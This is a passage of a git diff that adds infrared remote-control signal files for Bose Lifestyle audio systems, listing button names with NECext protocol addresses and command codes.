MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 0E 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 15 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE_DOWN +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 1A 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 28 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 49 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 55 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 55 00 00 00 +# +name: SEEK/SCAN<< +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 5C 00 00 00 +# +name: SIMILAR_(ENCOR) +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 67 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 69 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 8C 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 8C 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 8C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA A5 00 00 +command: 9D 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA A5 00 00 +command: B3 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA A5 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA A5 00 00 +command: CC 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA A5 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,166.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,166.ir new file mode 100644 index 000000000..f818f436c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,166.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE_DOWN +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 1A 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN<< +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 5C 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 63 00 00 00 +# +name: SIMILAR_(ENCOR) +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 69 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 8C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA A6 00 00 +command: 9F 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA A6 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA A6 00 00 +command: B3 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA A6 00 00 +command: CC 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA A6 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,167.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,167.ir new file mode 100644 index 000000000..e52e92518 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,167.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE_DOWN +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 1A 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN<< +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 5C 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 63 00 00 00 +# +name: SIMILAR_(ENCOR) +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 69 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 8C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA A7 00 00 +command: 9F 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA A7 00 00 +command: B3 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA A7 00 00 +command: CC 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA A7 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,168.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,168.ir new file mode 100644 index 000000000..5bae57ae6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,168.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE_DOWN +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 1A 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN<< +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 5C 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 63 00 00 00 +# +name: SIMILAR_(ENCOR) +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 69 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 8C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA A8 00 00 +command: 9F 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA A8 00 00 +command: B3 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA A8 00 00 +command: CC 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA A8 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,169.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,169.ir new file mode 100644 index 000000000..908cad19e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,169.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE_DOWN +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 1A 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN<< +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 5C 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 63 00 00 00 +# +name: SIMILAR_(ENCOR) +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 69 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 8C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA A9 00 00 +command: 9F 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA A9 00 00 +command: B3 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA A9 00 00 +command: CC 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA A9 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,170.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,170.ir new file mode 100644 index 000000000..14d93e64a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,170.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE_DOWN +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 1A 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 25 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN<< +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 5C 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 64 00 00 00 +# +name: SIMILAR_(ENCOR) +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 69 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 8C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA AA 00 00 +command: 9F 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA AA 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA AA 00 00 +command: B3 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA AA 00 00 +command: CC 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA AA 00 00 +command: D0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA AA 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,171.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,171.ir new file mode 100644 index 000000000..95983e760 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,171.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 02 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE_DOWN +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 1A 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 